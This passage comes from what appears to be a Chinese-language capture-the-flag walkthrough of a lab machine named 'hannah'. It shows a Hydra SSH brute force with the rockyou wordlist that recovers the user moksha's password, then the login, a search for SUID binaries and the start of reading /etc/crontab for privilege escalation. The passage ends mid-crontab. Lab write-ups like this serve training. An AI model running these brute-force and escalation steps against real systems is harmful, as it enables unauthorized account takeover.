┌──(root㉿kali)-[/home/ace] └─# hydra ssh://192.168.56.134 -l moksha -P /usr/share/wordlists/rockyou.txt -f -v Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-07-2814:36:28 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t4 [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task [DATA] attacking ssh://192.168.56.134:22/ [VERBOSE] Resolving addresses ... [VERBOSE] resolving done [INFO] Testing if password authentication is supported by ssh://moksha@192.168.56.134:22 [INFO] Successful, password authentication is supported by ssh://192.168.56.134:22 [ERROR] could not connect to target port 22: Socket error: disconnected [ERROR] ssh protocol error [ERROR] could not connect to target port 22: Socket error: Connection reset by peer [ERROR] ssh protocol error [ERROR] could not connect to target port 22: Socket error: Connection reset by peer [ERROR] ssh protocol error [VERBOSE] Disabled child 8 because of too many errors [VERBOSE] Disabled child 15 because of too many errors [ERROR] could not connect to target port 22: Socket error: Connection reset by peer [ERROR] ssh protocol error [VERBOSE] Disabled child 9 because of too many errors [VERBOSE] Disabled child 14 because of too many errors [22][ssh] host: 192.168.56.134 login: moksha password: hannah [STATUS] attack finished for192.168.56.134 (valid pair found) 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-07-2814:36:47
连接一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
┌──(root㉿kali)-[/home/ace] └─# ssh moksha@192.168.56.134 The authenticity of host '192.168.56.134 (192.168.56.134)' can't be established. ED25519 key fingerprint is SHA256:RZdWDCayN2ZJO5rXaVv2OOemeArZ0UbcRoKCoz9lWzA. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.56.134' (ED25519) to the list of known hosts. Load key "/root/.ssh/id_rsa": error in libcrypto moksha@192.168.56.134's password: Linux hannah 5.10.0-20-amd64#1 SMP Debian 5.10.158-2 (2022-12-13) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Wed Jan 410:45:542023 from 192.168.1.51 moksha@hannah:~$
连接成功
获得usr.txt
7.sudo提权
1 2
moksha@hannah:~$ sudo l -bash: sudo: orden no encontrada
查找二进制文件
1 2 3 4 5 6 7 8 9 10 11
moksha@hannah:~$ find / -type f -perm-4000-ls2>/dev/null 13735052-rwsr-xr--1 root messagebus 51336 oct 52022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 269176472-rwsr-xr-x1 root root 481608 jul 22022 /usr/lib/openssh/ssh-keysign 376372-rwsr-xr-x1 root root 71912 ene 202022 /usr/bin/su 360444-rwsr-xr-x1 root root 44632 feb 72020 /usr/bin/newgrp 11064-rwsr-xr-x1 root root 63960 feb 72020 /usr/bin/passwd 413236-rwsr-xr-x1 root root 35040 ene 202022 /usr/bin/umount 10988-rwsr-xr-x1 root root 88304 feb 72020 /usr/bin/gpasswd 10752-rwsr-xr-x1 root root 52880 feb 72020 /usr/bin/chsh 10660-rwsr-xr-x1 root root 58416 feb 72020 /usr/bin/chfn 413056-rwsr-xr-x1 root root 55528 ene 202022 /usr/bin/mount
moksha@hannah:/etc$cat crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do.